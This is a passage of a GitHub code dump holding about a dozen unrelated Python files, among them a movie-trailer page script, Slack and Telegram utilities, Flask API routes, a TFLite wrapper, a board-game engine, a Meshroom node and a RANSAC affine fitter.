+{"seq_id":"39358549698","text":"import fresh_tomatoes\r\nimport media\r\n\r\ntoy_story=media.Movie(\"Toy Story\",\"A boy whose toys comes to life\",\r\n                      \"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\",\r\n                      \"https://www.youtube.com/watch?v=KYz2wyBy3kc\")\r\n\r\ntransformers=media.Movie(\"Transformers\",\"Alien Robots invading earth\",\r\n                      \"http://cdn.collider.com/wp-content/uploads/2016/12/transformers-the-last-knight-poster-1.jpeg\",\r\n                      \"https://www.youtube.com/watch?v=yCOvcyfRPRk\")\r\n\r\nlordof_the_rings=media.Movie(\"The Lord of the Rings\",\"One ring to rule them all one ring to bind them\",\r\n                      \"https://images-na.ssl-images-amazon.com/images/I/51%2BDyPydG4L._SX355_.jpg\",\r\n                      \"https://www.youtube.com/watch?v=V75dMMIW2B4\")\r\n\r\n\r\n#print(toy_story.title)\r\n#media.Movie.show_trailer(toy_story.trailer_youtube_url)\r\n\r\nmovies=[toy_story,transformers,lordof_the_rings]\r\nfresh_tomatoes.open_movies_page(movies)\r\n","repo_name":"manish4487/Python-Mini-Projects-Udacity-Coursework-","sub_path":"Movie database/entertainment.py","file_name":"entertainment.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25156242781","text":"class Notifyer:\n    def __init__(self, connector, telega, start_hour) -> None:\n        self.connector = connector\n        self.telega = telega\n        self.start_hour = start_hour.start_hour\n\n    def add_notify(self, rig_id, notification_type):\n        sql_string = \"INSERT OR IGNORE INTO notify_pool VALUES (?,?)\"\n        self.connector.request(sql_string, (rig_id, notification_type))\n\n    def razrez4096(self, message):\n        parts = [\"\"]\n        while len(message) > 0:\n            if len(message) > 4096:\n                partw = message[:4096]\n                first_lnbr = partw.rfind(\"\\n\")\n                if first_lnbr != -1:\n                    parts.append(partw[:first_lnbr])\n                    message = message[first_lnbr:]\n                else:\n                    parts.append(partw)\n                    message = message[4096:]\n            else:\n                parts.append(message)\n                break\n        return parts\n\n    def notify_constructor(self):\n        send_text = \"\"\n        sql_string = \"SELECT status_id, status_text FROM comparison\"\n        sql_string2 = \"SELECT rig_id FROM notify_pool WHERE notify_id = ? \"\n        statuses = self.connector.request(sql_string, ())\n        # очистка уведомлений об игнорируемых ригах\n        if not self.start_hour():\n            cleared_rig_ids = self.connector.request(sql_string2, (\"rig_ignored\",))\n            sql_del_string = \"DELETE FROM notify_pool WHERE rig_id = ? \"\n            for del_rig in cleared_rig_ids:\n                self.connector.request(sql_del_string, (del_rig[0],))\n        # конец очистки\n        for row_status in statuses:\n            if (\n                row_status[0] == \"rig_ignored\"\n                and self.start_hour()\n                or row_status[0] != \"rig_ignored\"\n            ):\n                rig_statuses = self.connector.request(sql_string2, (row_status[0],))\n                if len(rig_statuses) != 0:\n                    send_text = f\"{send_text}{row_status[1]}:\\n\"\n                    for rig_status in rig_statuses:\n                        send_text = f\"{send_text}       {rig_status[0]}\\n\"\n        print(send_text)\n        partes = self.razrez4096(send_text)\n        for part in partes:\n            self.telega.do_telega(part)\n","repo_name":"avmustafaev/Tuya-Smart-Socket-for-Hive-OS","sub_path":"modules/notifyer.py","file_name":"notifyer.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35689153066","text":"import os\nimport requests\nimport json \nimport time\n\nclass InvalidResponseException(Exception): pass\n\nclass SlackHistory:\n\tdef __init__(self, token, channel, message_limit=None):\n\t\tself._token = token\n\t\tself._message_limit = message_limit\n\t\tself._url = \"https://slack.com/api/\"\n\t\tself._channel = self._create_channel_map()[channel]\n\t\tprint(self._channel)\n\n\tdef _get_channels(self):\n\t\tendpoint = \"conversations.list\"\n\t\turl = '{}{}?token={}'.format(self._url, endpoint, self._token)\n\t\theaders = {\"Content-Type\":\"application/json\"}\n\n\t\tresult = requests.get(url, headers=headers)\n\t\tr = result.json()\n\t\tchannels = []\n\t\tcursor = r['response_metadata']['next_cursor']\n\t\twhile cursor:\n\t\t\tchannels = channels + r['channels']\n\t\t\turl = \"{}&cursor={}\".format(url, cursor)\n\t\t\t\n\t\t\tresult = requests.get(url, headers=headers)\n\t\t\tr = result.json()\n\t\t\tcursor = r['response_metadata']['next_cursor']\n\t\t\t\n\t\t\tif 'error' in r.keys():\n\t\t\t\traise InvalidResponseException(r['error'])\n\t\treturn channels\n\n\tdef _get_history(self, timestamp=None):\n\t\tendpoint = \"conversations.history\"\n\t\tpayload = {\n\t\t\t\"channel\": self._channel,\n\n\t\t}\n\t\t\n\t\tif self._message_limit is not None:\n\t\t\turl = '{}{}?token={}&channel={}&count={}'.format(self._url, endpoint, self._token, payload[\"channel\"], self._message_limit)\n\t\telse:\n\t\t\turl = '{}{}?token={}&channel={}&count={}'.format(self._url, endpoint, self._token, payload[\"channel\"], 1000)\n\t\theaders = {\"Content-Type\":\"application/json\"}\n\n\t\tif timestamp is not None and self._message_limit is None:\n\t\t\turl = '{}&inclusive=False&latest={}'.format(url, timestamp)\n\n\t\tresult = requests.get(url, headers=headers)\n\t\tr = result.json()\n\t\tif 'error' in r.keys():\n\t\t\traise InvalidResponseException(r['error'])\n\t\treturn r\n\n\tdef _create_channel_map(self):\n\t\tchannels = self._get_channels()\n\n\t\tname_id_mapping = {}\n\t\tfor channel in channels:\n\t\t\tname_id_mapping[channel['name']] = channel['id']\n\n\t\treturn name_id_mapping\n\n\tdef getAllHistory(self):\n\t\tmessage_store = []\n\t\ttimestamp_store = []\n\n\t\tresult = self._get_history()\n\t\tprint(result)\n\t\tif result['has_more'] == True:\n\t\t\thas_more = True\n\t\t\tfor message in result['messages']:\n\t\t\t\tmessage_store.append(message['text'])\n\t\t\t\ttimestamp_store.append(float(message['ts']))\n\n\t\t\tmin_ts = min(timestamp_store)\n\t\t\twhile has_more:\n\t\t\t\tresult = self._get_history(min_ts)\n\t\t\t\thas_more = result['has_more']\n\n\t\t\t\tfor message in result['messages']:\n\t\t\t\t\tmessage_store.append(message['text'])\n\t\t\t\t\ttimestamp_store.append(float(message['ts']))\n\n\t\t\t\tmin_ts = min(timestamp_store)\n\t\t\t\ttime.sleep(2)\n\t\telse:\n\t\t\tfor message in result['messages']:\n\t\t\t\tmessage_store.append(\n\t\t\t\t\tmessage['text']\n\t\t\t\t)\n\n\t\treturn message_store\n\n\n\nif __name__ == '__main__':\n\ttoken = os.environ['SLACK_TOKEN']\n\tchannel = 'data_science_general'\n\n\tsh = SlackHistory(token, channel)\n\n\tresult = sh.getAllHistory()\n\n\tprint(result)\n\n\t\n","repo_name":"Futureword123456/PythonSystemStudy","sub_path":"venv/Lib/site-packages/slack_wordcloud/commands/SlackHistory.py","file_name":"SlackHistory.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5300077723","text":"import pytest\n\nfrom docker_push_latest_if_changed import main\n\n\ndef test_responds_to_help(capsys):\n    with pytest.raises(SystemExit) as excinfo:\n        main(('--help',))\n    assert excinfo.value.code == 0\n    out, _ = capsys.readouterr()\n    assert 'usage: ' in out\n    assert '--source' in out\n","repo_name":"chriskuehl/docker-push-latest-if-changed","sub_path":"tests/docker_push_latest_if_changed_test.py","file_name":"docker_push_latest_if_changed_test.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"43177631558","text":"import pandas as pd\n\nFILE_NAME = 'RESULTADOS.xlsx'\npd.set_option(\"display.max_rows\", None)\n\ndef main():\n\tdata = pd.read_excel(FILE_NAME)\n\tprint(data.dtypes)\n\tprint(data['edad'].value_counts())\n\tprint(data['ocupacion'].value_counts())\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"tom-villanueva/encuesta-antartida","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14460076482","text":"import datetime\n\nfrom flask import request, jsonify\nfrom flask_jwt_extended import create_access_token, create_refresh_token\nfrom mongoengine import DoesNotExist\n\nfrom src import app\nfrom src.controllers import BibliografiaController, UserController, CoordenadorController\nfrom src.controllers import CursoController\nfrom src.controllers import DisciplinaController\nfrom src.controllers import PlanoAulaController\nfrom src.functions.errors import unauthorized\nfrom src.models.User import User\n\n\n@app.route('/login', methods=['POST'])\ndef login():\n    data = request.get_json()\n    try:\n        user = User.objects(email=data.get('email')).get()\n        auth_success = user.check_pwd(data.get('password'))\n        if not auth_success:\n            return unauthorized()\n        expiry = datetime.timedelta(hours=2)\n        access_token = create_access_token(identity=str(user.id), expires_delta=expiry)\n        refresh_token = create_refresh_token(identity=str(user.id))\n        return jsonify(\n            access_token=access_token,\n            logged_in_as=user.email,\n            name=user.name\n        )\n        # return jsonify({\n        #     'result': {'access_token': access_token,\n        #                'refresh_token': refresh_token,\n        #                'logged_in_as': f\"{user.email}\"},\n        #     'name': f\"{user.name}\"\n        # })\n    except DoesNotExist:\n        print(\"USER NOT FOUND\")\n        return jsonify(error=\"USER NOT FOUND\"), 500\n\n\n# rotas de usuario\napp.add_url_rule('/users', view_func=UserController.index, methods=['GET'])\napp.add_url_rule('/users', view_func=UserController.store, methods=['POST'])\napp.add_url_rule('/users/<id>', view_func=UserController.show, methods=['GET'])\napp.add_url_rule('/users/me', view_func=UserController.loggedUser, methods=['GET'])\napp.add_url_rule('/users/update', view_func=UserController.update, methods=['PUT'])\napp.add_url_rule('/users/<id>', view_func=UserController.destroy, methods=['DELETE'])\napp.add_url_rule('/users/disciplinas', view_func=UserController.update_disciplinas, methods=['PATCH'])\n\n# region BIBLIOGRAFIAS\napp.add_url_rule('/bibliografias', view_func=BibliografiaController.index_bibliografia, methods=['GET'])\napp.add_url_rule('/bibliografias', view_func=BibliografiaController.store_bibliografia, methods=['POST'])\napp.add_url_rule('/bibliografias/<id>', view_func=BibliografiaController.show_bibliografia, methods=['GET'])\napp.add_url_rule('/bibliografias/<id>', view_func=BibliografiaController.update_bibliografia, methods=['PUT'])\napp.add_url_rule('/bibliografias/<id>', view_func=BibliografiaController.destroy_bibliografia, methods=['DELETE'])\n\n# endregion\n\n# region CRUD DE DISCIPLINAS\napp.add_url_rule('/disciplinas', view_func=DisciplinaController.index_disciplina, methods=['GET'])\napp.add_url_rule('/disciplinas', view_func=DisciplinaController.store_disciplina, methods=['POST'])\napp.add_url_rule('/disciplinas/<id>', view_func=DisciplinaController.show_disciplina, methods=['GET'])\napp.add_url_rule('/disciplinas/<id>', view_func=DisciplinaController.update_disciplina, methods=['PUT'])\napp.add_url_rule('/disciplinas/ementa', view_func=DisciplinaController.new_ementa, methods=['PATCH'])\n# endregion\n\n# # CRUD DE CURSORS\napp.add_url_rule('/cursos', view_func=CursoController.index_curso, methods=['GET'])\napp.add_url_rule('/cursos', view_func=CursoController.store_curso, methods=['POST'])\napp.add_url_rule('/cursos/<id>', view_func=CursoController.show_curso, methods=['GET'])\napp.add_url_rule('/cursos/<id>', view_func=CursoController.update_curso, methods=['PUT'])\napp.add_url_rule('/cursos/<id>', view_func=CursoController.delete_curso, methods=['DELETE'])\n\napp.add_url_rule('/coordenador/curso', view_func=CoordenadorController.get_curso_from_user, methods=['GET'])\napp.add_url_rule('/coordenadores', view_func=CoordenadorController.get_coordenadores, methods=['GET'])\n# app.add_url_rule('/professor/<id>/disciplinas')\n\napp.add_url_rule('/plano-aula', view_func=PlanoAulaController.index_plano_aula, methods=['GET'])\napp.add_url_rule('/plano-aula', view_func=PlanoAulaController.store_plano_aula, methods=['POST'])\n","repo_name":"LucasFlaquer/plano-aula-api","sub_path":"src/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4128,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"9425779226","text":"import warnings\n\ntry:\n    import tensorflow.lite as TFLiteItp\nexcept ModuleNotFoundError:\n    from tflite_runtime import interpreter as TFLiteItp\n\n\nclass TFLiteInterpreter(TFLiteItp.Interpreter):\n\n    def __init__(self, model_path=None, **args):\n        __args = {\n            \"experimental_op_resolver_type\": TFLiteItp.experimental.OpResolverType.BUILTIN_REF,\n        }\n        __args.update(args)\n        super().__init__(\n            model_path=model_path,\n            **__args,\n        )\n        self.allocate_tensors()\n        self.name2index = {t[\"name\"]: t[\"index\"] for t in self.get_tensor_details() if t[\"name\"]}\n\n    @property\n    def inputs(self):\n        return self.get_input_details()\n\n    @property\n    def outputs(self):\n        return self.get_output_details()\n\n    def reshape(self, **inputs_shape):\n        need_reallocate = False\n        for name, shape in inputs_shape.items():\n            index = self.name2index[name]\n            if self.tensor(index)().shape != shape:\n                need_reallocate = True\n                self.resize_tensor_input(index, shape, strict=False)\n                # if the shape change, we need to reallocate the buffer\n        if need_reallocate:\n            self.allocate_tensors()\n\n    def run(self, input_is_nchw=False, **inputs):\n\n        def nchw2nhwc(x):\n            if x.ndim == 4:\n                return x.transpose([0, 2, 3, 1])\n            return x\n\n        input_data = inputs\n        if input_is_nchw:\n            input_data = {k: nchw2nhwc(v) for k, v in inputs.items()}\n\n        self.reshape(**{k: v.shape for k, v in input_data.items()})\n        for k, v in input_data.items():\n            index = self.name2index[k]\n            self.set_tensor(index, v)\n\n        self.invoke()\n        outs = []\n        for out in self.get_output_details():\n            outs.append((out, self.get_tensor(out[\"index\"])))\n        return outs\n\n    def get_all_tensors(self):\n        for t in self.get_tensor_details():\n            try:\n                yield (t, self.tensor(t[\"index\"])())\n            except ValueError:\n                warnings.warn(\"Can not get tensor '{name}'(index: {index}) value.\".format(\n                    name=t[\"name\"], index=t[\"index\"]))\n                yield (t, None)\n\n    def to_expressed_dat(self, tensor_with_desc):\n        import numpy as np\n\n        desc, v = tensor_with_desc\n        quantization_param = desc[\"quantization_parameters\"]\n        scales = quantization_param[\"scales\"]\n        zeros = quantization_param[\"zero_points\"]\n        if not np.issubdtype(v.dtype.type, np.integer):\n            return v\n        try:\n            if len(zeros) == 1:\n                return (v.astype(np.int32) - zeros[0]) * scales[0]\n            if len(zeros) == 0:\n                return v\n            if len(zeros) > 1:\n                shape = np.ones(v.ndim, dtype=np.int64)\n                shape[quantization_param[\"quantized_dimension\"]] = len(zeros)\n                zeros = np.reshape(zeros, shape)\n                scales = np.reshape(scales, shape)\n                return (v.astype(np.int32) - zeros) * scales\n        except:\n            print(desc)\n            raise ValueError()\n","repo_name":"sophgo/tpu-mlir","sub_path":"python/transform/TFLiteInterpreter.py","file_name":"TFLiteInterpreter.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":366,"dataset":"github-code","pt":"21"}
+{"seq_id":"41268761917","text":"#!/usr/bin/env python3\n\"\"\"\nHackaGame - Game - Risky \n\"\"\"\nimport os, sys, random\n\nsys.path.insert(1, __file__.split('gameRisky')[0])\nimport hackapy as hg\n\ngamePath= __file__.split('gameRisky')[0] + \"/gameRisky\"\n\n# Army Attributes\nACTION= 1\nFORCE=  2\n\ndef log(aString):\n    pass\n\nclass GameRisky( hg.AbsSequentialGame ) :\n\n    # Constructor :\n    #--------------\n    def __init__(self, numerOfPlayers= 2, map=\"board-4\"):\n        super().__init__(numerOfPlayers)\n        # Attributes\n        self.map= map\n        self.counter= 0\n        self.duration= 0\n        self.maximalArmyForce= 24\n        self.board= hg.Board()\n        self.wrongAction= [ 0 for i in range(0, numerOfPlayers+1) ]\n        # Configuration\n        self.degatMethod= self.degatStochastic\n        self.verbose= log\n\n    def copy(self):\n        cpy= GameRisky( self.numberOfPlayers, self.map )\n        cpy.duration= self.duration\n        cpy.maximalArmyForce= self.maximalArmyForce\n        cpy.board= self.board.copy()\n        cpy.wrongAction= [ x for x in self.wrongAction ]\n        cpy.counter= self.counter\n        return cpy\n\n    # Game interface :\n    #-----------------\n    def initialize(self):\n        # Initialize a new game (returning the game setting as a Gamel, a game ellement shared with player wake-up)\n        f= open(f\"{gamePath}/resources/map-{self.map}.gml\")\n        self.board.load( f.read() )\n        f.close()\n        for i in range(1, self.numberOfPlayers+1) :\n            self.appendArmy( i, i, 12, 1 )\n            #self.board.cell( i ).append-Child( hg.Gamel( \"Army\", self.playerLetter(i), [1, 12] ) )\n        self.counter= 1\n        if self.duration == 0 :\n            self.duration= self.board.numberOfCells()\n        self.board.setAttributes( [ self.counter, self.duration ] )\n        return self.board\n\n    def playerHand( self, iPlayer ):\n        # Return the game elements in the player vision (an AbsGamel)\n        self.board.setAttributes( [ self.counter, self.duration ] )\n        return self.board\n\n    def applyPlayerAction( self, iPlayer, action ):\n        # Apply the action choosen by the player iPlayer. return a boolean at True if the player terminate its actions for the current turn.\n        action= action.split(' ')\n        cellIds= range( 1, self.board.numberOfCells()+1 )\n        if action[0] == \"move\" and len( action ) == 4 :\n            cellFrom= int(action[1])\n            cellTo= int(action[2])\n            force= int(action[3])\n            army= self.armyOn(cellFrom)\n\n            if ( cellFrom in cellIds and cellTo in self.edgesFrom(cellFrom) and army and army.status() == self.playerLetter(iPlayer) and 0 < force and force <= army.attribute(FORCE) ):\n                return self.actionMove( iPlayer, cellFrom, cellTo, force )\n        if action[0] == \"grow\" and len( action ) == 2 :\n            cellId= int(action[1])\n            army= self.armyOn(cellId)\n            if cellId in cellIds and army and army.status() == self.playerLetter(iPlayer) :\n                return self.actionGrow( iPlayer, cellId)\n        if action[0] == \"sleep\" :\n            return self.actionSleep( iPlayer )\n\n        self.wrongAction[iPlayer]+= 1\n        print( f\"!!! Wrong action {self.wrongAction[iPlayer]}: {action} !!!\" )\n        if self.wrongAction[iPlayer] >= 8 :\n            return self.actionSleep( iPlayer )\n        return False\n\n    def tic( self ):\n        # called function at turn end, after all player played its actions. \n        self.counter= min( self.counter+1, self.duration )\n\n    def isEnded( self ):\n        # must return True when the game end, and False the rest of the time.\n        return len( self.activePlayers() ) == 1 or self.counter >= self.duration \n\n    # Player access :\n    #----------------\n    def update( self, board ):\n        self.board.setFrom( board )\n        self.counter= self.board.attribute(1)\n        self.duration= self.board.attribute(2)\n    \n    def searchActions(self, playerId):\n        acts= [ [\"sleep\"] ]\n        for i in range( 1, self.board.numberOfCells()+1) :\n            cell= self.board.cell(i)\n            if cell.children() and cell.child(1).status() == playerId and cell.child(1).attribute(ACTION) > 0 :\n                acts.append( [\"grow\", i] )\n                acts+= self.searchMoveAction(i)\n        return acts\n    \n    def searchMoveAction( self, iCell ):\n        force= self.armyOn(iCell).attribute(FORCE)\n        return [ [ \"move\", iCell, target, force ] for target in self.edgesFrom( iCell ) ]\n\n    def cellIds(self):\n        return range(1, self.board.numberOfCells()+1)\n\n    def edgesFrom(self, iCell):\n        return self.board.edgesFrom(iCell)\n\n    def armyOn(self, iCell) :\n        if self.board.cell(iCell).children() :\n            return self.board.cell(iCell).child()\n        return False\n\n    # Actions :\n    #----------\n    def actionMove( self, iPlayer, iFrom, iTo, force ):\n        target= self.board.cell(iTo)\n        army= self.armyOn(iFrom)\n        if army :\n            actCounter= army.attribute(ACTION)\n            playerLetter= self.playerLetter(iPlayer)\n            if playerLetter == army.status() and actCounter > 0 :\n                # All the army ?\n                if force >= army.attribute(FORCE) :\n                    force= army.attribute(FORCE)\n                    self.board.cell(iFrom).pop(1)\n                else :\n                    army.setAttribute(FORCE, army.attribute(FORCE)-force)\n                # free target:\n                if len( target.children() ) == 0 :\n                    self.appendArmy( iPlayer, iTo, force, action= actCounter-1 )\n                # friend target:\n                elif target.child().status() == playerLetter :\n                    targetArmy= target.child()\n                    targetArmy.setAttribute(FORCE, targetArmy.attribute(FORCE)+force)\n                    targetArmy.setAttribute( ACTION, min( targetArmy.attribute(ACTION), actCounter-1) )\n                else: \n                    self.actionFight( iPlayer, actCounter, force, iTo )\n            else :\n                print( f\"!!! Wrong move: unvalid army on {iFrom}!!!\" )\n        else :\n            print( f\"!!! Wrong move: no army on {iFrom} !!!\" )\n        return False\n        \n    def actionFight( self, iPlayer, actCounter, attack, iTo ):\n        # Initialize:\n        defence= self.armyOn(iTo).attribute(FORCE)\n        # while fighters:\n        while attack > 0 and defence > 0 :\n            degatAtt, degatDef= self.degatMethod(attack, defence)\n            self.verbose( f\"Fight-{iTo}: {attack}({degatAtt}) vs {defence}({degatDef})\" )\n            attack= max( 0, attack - degatDef )\n            defence= max( 0, defence - degatAtt )\n        # Update cell: defence\n        self.verbose( f\"Fight-{iTo}: {attack} vs {defence}\" )\n        if defence == 0 :\n            self.board.cell(iTo).pop()\n        else :\n            self.armyOn(iTo).setAttribute(FORCE, defence)\n        # Update cell: attack\n        if attack > 0 :\n            self.appendArmy( iPlayer, iTo, attack, actCounter-1 )\n\n    def degatDeterministic( self, attack, defence ):\n        attackForce= attack + max(0, attack - defence)\n        return (1+attackForce)//2, (2+defence*2)//3\n\n    def degatStochastic( self, attack, defence ):\n        attackForce= attack + max(0, attack-defence)\n        degatAtt= 0\n        for i in range( attackForce ):\n            if random.randrange(12) < 6 :\n                degatAtt+= 1\n        degatDeff= 0\n        for i in range( defence ):\n            if random.randrange(12) < 8 :\n                degatDeff+= 1\n        return degatAtt, degatDeff\n\n    def actionSleep( self, iPlayer ):\n        playerLetter= self.playerLetter(iPlayer) \n        for cell in self.board.cells() :\n            for army in cell.children() :\n                if army.status() == playerLetter :\n                    army.setAttribute( ACTION, min( 2, army.attribute(ACTION)+1) )\n        return True\n\n    def actionGrow( self, iPlayer, iCell ):\n        playerLetter= self.playerLetter(iPlayer)\n        army= self.armyOn(iCell)\n        recrut= (2+army.attribute(FORCE))//3\n        if army and army.status() == playerLetter and army.attribute(ACTION) > 0 :\n            for iNeighbour in self.edgesFrom( iCell) :\n                neighbourArmy= self.armyOn(iNeighbour)\n                if neighbourArmy and neighbourArmy.status() == playerLetter :\n                    recrut+= 1\n            army.setAttribute( FORCE, min(army.attribute(FORCE)+recrut, self.maximalArmyForce) )\n            army.setAttribute( ACTION, army.attribute(ACTION)-1 )\n        return False\n\n    def activePlayers(self):\n        active= []\n        for cell in self.board.cells() :\n            for army in cell.children() :\n                iPlayer= self.playerNum( army.status() )\n                if iPlayer not in active :\n                    active.append( iPlayer )\n                    active.sort()\n        return active\n    \n    def playerArmies(self):\n        armies= [ 0 for i in range( self.numberOfPlayers+1 ) ]\n        for cell in self.board.cells() :\n            for army in cell.children() :\n                iPlayer= self.playerNum( army.status() )\n                armies[ iPlayer ]+= army.attribute(FORCE)\n        return armies\n    \n    def playerScore( self, iPlayer ):\n        # return the player score for the current game (usefull at game ending)\n        armies= self.playerArmies()\n        bestArmy= armies[0]\n        winners= 0\n        for i in range(1, self.numberOfPlayers+1) :\n            if armies[i] > bestArmy :\n                bestArmy= armies[i]\n                winners= 1\n            elif armies[i] == bestArmy :\n                winners+= 1\n        if winners == 1 and armies[iPlayer] == bestArmy :\n            return 1\n        if armies[iPlayer] == bestArmy :\n            return 0\n        return -1\n    \n    # Risky tools :\n    def appendArmy( self, iPLayer, position, force, action= 0 ):\n        army= hg.Pod( \"Army\", self.playerLetter(iPLayer), [action, force] )\n        self.board.cell(position).append( army )\n\n    def playerLetter(self, iPlayer):\n        return chr( ord(\"A\")+iPlayer-1 )\n\n    def playerNum(self, playerLetter):\n        return 1 + ord(playerLetter) - ord(\"A\")\n","repo_name":"Nooaah/risky-ai","sub_path":"gameRisky/gameEngine/risky.py","file_name":"risky.py","file_ext":"py","file_size_in_byte":10150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18408122233","text":"__version__ = \"1.0\"\n\nfrom meshroom.core import desc\n\n\nclass ImageSegmentation(desc.AVCommandLineNode):\n    commandLine = 'aliceVision_imageSegmentation {allParams}'\n    size = desc.DynamicNodeSize('input')\n    gpu = desc.Level.INTENSIVE\n    parallelization = desc.Parallelization(blockSize=50)\n    commandLineRange = '--rangeStart {rangeStart} --rangeSize {rangeBlockSize}'\n\n    category = 'Utils'\n    documentation = '''\nGenerate a mask with segmented labels for each pixel.\n'''\n\n    inputs = [\n        desc.File(\n            name=\"input\",\n            label=\"Input\",\n            description=\"SfMData file input.\",\n            value=\"\",\n            uid=[0],\n        ),\n        desc.File(\n            name=\"modelPath\",\n            label=\"Segmentation Model\",\n            description=\"Weights file for the internal model.\",\n            value=\"${ALICEVISION_SEMANTIC_SEGMENTATION_MODEL}\",\n            uid=[0]\n        ),\n        desc.ChoiceParam(\n            name=\"validClasses\",\n            label=\"Classes\",\n            description=\"Classes names which are to be considered.\",\n            value=[\"person\"],\n            values=[\n                \"__background__\",\n                \"aeroplane\",\n                \"bicycle\", \"bird\", \"boat\", \"bottle\", \"bus\",\n                \"car\", \"cat\", \"chair\", \"cow\",\n                \"diningtable\", \"dog\",\n                \"horse\",\n                \"motorbike\",\n                \"person\", \"pottedplant\",\n                \"sheep\", \"sofa\",\n                \"train\", \"tvmonitor\"\n            ],\n            exclusive=False,\n            uid=[0],\n        ),\n        desc.BoolParam(\n            name=\"maskInvert\",\n            label=\"Invert Masks\",\n            description=\"Invert mask values. If selected, the pixels corresponding to the mask will be set to 0 instead of 255.\",\n            value=False,\n            uid=[0],\n        ),\n        desc.ChoiceParam(\n            name=\"verboseLevel\",\n            label=\"Verbose Level\",\n            description=\"Verbosity level (fatal, error, warning, info, debug, trace).\",\n            value=\"info\",\n            values=[\"fatal\", \"error\", \"warning\", \"info\", \"debug\", \"trace\"],\n            exclusive=True,\n            uid=[],\n        )\n    ]\n\n    outputs = [\n        desc.File(\n            name=\"output\",\n            label=\"Masks Folder\",\n            description=\"Output path for the masks.\",\n            value=desc.Node.internalFolder,\n            uid=[],\n        ),\n        desc.File(\n            name=\"masks\",\n            label=\"Masks\",\n            description=\"Generated segmentation masks.\",\n            semantic=\"image\",\n            value=desc.Node.internalFolder + \"<VIEW_ID>.exr\",\n            group=\"\",\n            uid=[],\n        ),\n    ]\n\n","repo_name":"alicevision/Meshroom","sub_path":"meshroom/nodes/aliceVision/ImageSegmentation.py","file_name":"ImageSegmentation.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":10013,"dataset":"github-code","pt":"21"}
+{"seq_id":"43126109988","text":"# https://www.acmicpc.net/problem/1302\n\nfrom itertools import tee\nimport sys\nsys.stdin = open(\"/Users/yuyeong/Desktop/1일 1코딩/2022.08.06/베스트셀러.txt\")\n\nn = int(input())\nbooks = {}\nfor tc in range(n):\n    book = input()\n    if book not in books:\n        books[book] = 1\n    else:\n        # 들어가 있으면 계속 더해주기 \n        books[book] += 1\n\n# 제일 큰 값 구해주기 \ntarget = max(books.values())\n# 리스트 초기화\narr = []\n\n\nfor book, number in books.items():\n    if number == target:\n        arr.append(book)\n# 정렬한 값을 반환(맨 앞에 있는거)\nprint(sorted(arr)[0])\n\n    \n\n\n","repo_name":"nevertheless0404/Study_slowly","sub_path":"2022.08.06/베스트셀러.py","file_name":"베스트셀러.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36718417002","text":"import numpy as np\r\nimport torch\r\n\r\nfrom time import process_time as ptime\r\n\r\ni = 0\r\n\r\n\r\ndef p_inverse(s_mat):\r\n    # return s_mat.transpose(-1, -2) @ torch.inverse(s_mat @ s_mat.transpose(-1, -2))\r\n    return torch.pinverse(s_mat)\r\n\r\n\r\ndef get_affine_mat(from_, to_, device=\"cuda\"):\r\n    src = from_.reshape([-1, 2]).float().to(device)\r\n    dst = to_.reshape([-1, 2]).float().to(device)\r\n    # 求仿射变换矩阵，超过三个点就最小二乘\r\n    # M*S = D->M=D*pinv(S)\r\n    src_3 = torch.cat([src, torch.ones([len(src), 1], device=device)], dim=1).t()\r\n    dst = dst.t()\r\n    m = dst @ p_inverse(src_3)\r\n    return m\r\n\r\n\r\ndef compute_affine(M, from_, device=\"cuda\"):\r\n    src = from_.reshape([-1, 2]).float().to(device)\r\n    src_3 = torch.cat([src, torch.ones([len(src), 1], device=device)], dim=1).t()\r\n    return (M @ src_3).t()\r\n\r\n\r\ndef fine_affine(from_, to_, inliers, rrt=3, device=\"cuda\"):\r\n    inliers_num_pre = inliers.sum()\r\n    m = get_affine_mat(from_[inliers], to_[inliers], device)\r\n    inliers = torch.norm(compute_affine(m, from_, device) - to_, dim=1) < rrt\r\n    inliers_num = inliers.sum()\r\n    while inliers_num > inliers_num_pre:\r\n        inliers_num_pre = inliers_num\r\n        m = get_affine_mat(from_[inliers], to_[inliers], device)\r\n        inliers = torch.norm(compute_affine(m, from_, device) - to_, dim=1) < rrt\r\n        inliers_num = inliers.sum()\r\n    return m, inliers\r\n\r\n\r\ndef ransac(from_, to_, max_iter=512, rrt=3, device=\"cuda\"):\r\n    \"\"\"\r\n    :param from_:(torch.Tensor)\r\n    :param to_:(torch.Tensor)\r\n    :param max_iter:\r\n    :param rrt: 投影误差\r\n    :param device: 运算设备\r\n    :return: mat: 仿射矩阵 (torch.Tensor)\r\n             inliers: 内点序列 (torch.Tensor)\r\n    \"\"\"\r\n    src = from_.squeeze().reshape([-1, 2]).float().to(device)\r\n    dst = to_.squeeze().reshape([-1, 2]).float().to(device)\r\n    length = len(src)\r\n    if length < 3:\r\n        return torch.tensor([[1., 0., 0.],\r\n                             [0., 1., 0.]], device=src.device), torch.ones(length, device=device) > 0.5\r\n    torch.random.manual_seed(0)\r\n    idx = []\r\n    for i in range(max_iter):\r\n        idx.append(np.random.choice(np.arange(length), 3, replace=False))\r\n    idx = torch.tensor(idx, device=device, dtype=torch.long)  # (m,3)\r\n    src_3 = torch.cat([src, 